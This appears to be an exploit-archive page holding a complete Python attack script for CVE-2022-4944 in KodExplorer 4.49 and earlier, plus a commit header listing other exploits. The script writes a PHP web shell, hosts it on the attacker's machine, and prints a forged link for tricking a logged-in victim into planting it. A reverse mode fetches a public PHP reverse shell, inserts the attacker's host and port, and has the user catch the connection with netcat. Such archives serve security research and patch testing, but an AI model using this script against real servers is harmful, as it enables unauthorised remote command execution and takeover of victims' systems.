7e3a257da8
11 changes to exploits/shellcodes/ghdb PaperCut NG/MG 22.0.4 - Authentication Bypass KodExplorer 4.49 - CSRF to Arbitrary File Upload Mars Stealer 8.3 - Admin Account Takeover Multi-Vendor Online Groceries Management System 1.0 - Remote Code Execution Sophos Web Appliance 4.3.10.4 - Pre-auth command injection Arcsoft PhotoStudio 6.0.0.172 - Unquoted Service Path OCS Inventory NG 2.3.0.0 - Unquoted Service Path Wondershare Filmora 12.2.9.2233 - Unquoted Service Path Windows/x64 - Delete File shellcode / Dynamic PEB method null-free Shellcode
122 lines
No EOL
4 KiB
Python
Executable file
122 lines
No EOL
4 KiB
Python
Executable file
# Exploit Title: KodExplorer <= 4.49 - CSRF to Arbitrary File Upload
|
|
# Date: 21/04/2023
|
|
# Exploit Author: MrEmpy
|
|
# Software Link: https://github.com/kalcaddle/KodExplorer
|
|
# Version: <= 4.49
|
|
# Tested on: Linux
|
|
# CVE ID: CVE-2022-4944
|
|
# References:
|
|
# * https://vuldb.com/?id.227000
|
|
# * https://www.cve.org/CVERecord?id=CVE-2022-4944
|
|
# * https://github.com/MrEmpy/CVE-2022-4944
|
|
|
|
import argparse
|
|
import http.server
|
|
import socketserver
|
|
import os
|
|
import threading
|
|
import requests
|
|
from time import sleep
|
|
|
|
def banner():
|
|
print('''
|
|
_ _____________ _____ _ ______ _____
|
|
_____
|
|
| | / / _ | _ \ ___| | | | ___ \/ __ \|
|
|
___|
|
|
| |/ /| | | | | | | |____ ___ __ | | ___ _ __ ___ _ __ | |_/ /| / \/|
|
|
|__
|
|
| \| | | | | | | __\ \/ / '_ \| |/ _ \| '__/ _ \ '__| | / | | |
|
|
__|
|
|
| |\ \ \_/ / |/ /| |___> <| |_) | | (_) | | | __/ | | |\ \ | \__/\|
|
|
|___
|
|
\_| \_/\___/|___/ \____/_/\_\ .__/|_|\___/|_| \___|_| \_| \_|
|
|
\____/\____/
|
|
| |
|
|
|
|
|_|
|
|
|
|
[KODExplorer <= v4.49 Remote Code Executon]
|
|
[Coded by MrEmpy]
|
|
|
|
''')
|
|
|
|
def httpd():
|
|
port = 8080
|
|
httpddir = os.path.join(os.path.dirname(__file__), 'http')
|
|
os.chdir(httpddir)
|
|
Handler = http.server.SimpleHTTPRequestHandler
|
|
httpd = socketserver.TCPServer(('', port), Handler)
|
|
print('[+] HTTP Server started')
|
|
httpd.serve_forever()
|
|
|
|
|
|
def webshell(url, lhost):
|
|
payload = '<pre><?php system($_GET["cmd"])?></pre>'
|
|
path = '/data/User/admin/home/'
|
|
|
|
targetpath = input('[*] Target KODExplorer path (ex /var/www/html): ')
|
|
wshell_f = open('http/shell.php', 'w')
|
|
wshell_f.write(payload)
|
|
wshell_f.close()
|
|
print('[*] Opening HTTPd port')
|
|
th = threading.Thread(target=httpd)
|
|
th.start()
|
|
print(f'[+] Send this URI to your target:
|
|
{url}/index.php?explorer/serverDownload&type=download&savePath={targetpath}/data/User/admin/home/&url=http://
|
|
{lhost}:8080/shell.php&uuid=&time=')
|
|
print(f'[+] After the victim opens the URI, his shell will be hosted at
|
|
{url}/data/User/admin/home/shell.php?cmd=whoami')
|
|
|
|
def reverseshell(url, lhost):
|
|
rvpayload = '
|
|
https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
|
|
'
|
|
path = '/data/User/admin/home/'
|
|
|
|
targetpath = input('[*] Target KODExplorer path (ex /var/www/html): ')
|
|
lport = input('[*] Your local port: ')
|
|
reqpayload = requests.get(rvpayload).text
|
|
reqpayload = reqpayload.replace('127.0.0.1', lhost)
|
|
reqpayload = reqpayload.replace('1234', lport)
|
|
wshell_f = open('http/shell.php', 'w')
|
|
wshell_f.write(reqpayload)
|
|
wshell_f.close()
|
|
print('[*] Opening HTTPd port')
|
|
th = threading.Thread(target=httpd)
|
|
th.start()
|
|
print(f'[+] Send this URI to your target:
|
|
{url}/index.php?explorer/serverDownload&type=download&savePath={targetpath}/data/User/admin/home/&url=http://
|
|
{lhost}:8080/shell.php&uuid=&time=')
|
|
input(f'[*] Run the command "nc -lnvp {lport}" to receive the
|
|
connection and press any key\n')
|
|
while True:
|
|
hitshell = requests.get(f'{url}/data/User/admin/home/shell.php')
|
|
sleep(1)
|
|
if not hitshell.status_code == 200:
|
|
continue
|
|
else:
|
|
print('[+] Shell sent and executed!')
|
|
break
|
|
|
|
|
|
def main(url, lhost, mode):
|
|
banner()
|
|
if mode == 'webshell':
|
|
webshell(url, lhost)
|
|
elif mode == 'reverse':
|
|
reverseshell(url, lhost)
|
|
else:
|
|
print('[-] There is no such mode. Use webshell or reverse')
|
|
|
|
|
|
if __name__ == "__main__":
|
|
parser = argparse.ArgumentParser()
|
|
parser.add_argument('-u','--url', action='store', help='target url',
|
|
dest='url', required=True)
|
|
parser.add_argument('-lh','--local-host', action='store', help='local
|
|
host', dest='lhost', required=True)
|
|
parser.add_argument('-m','--mode', action='store', help='mode
|
|
(webshell, reverse)', dest='mode', required=True)
|
|
arguments = parser.parse_args()
|
|
main(arguments.url, arguments.lhost, arguments.mode) |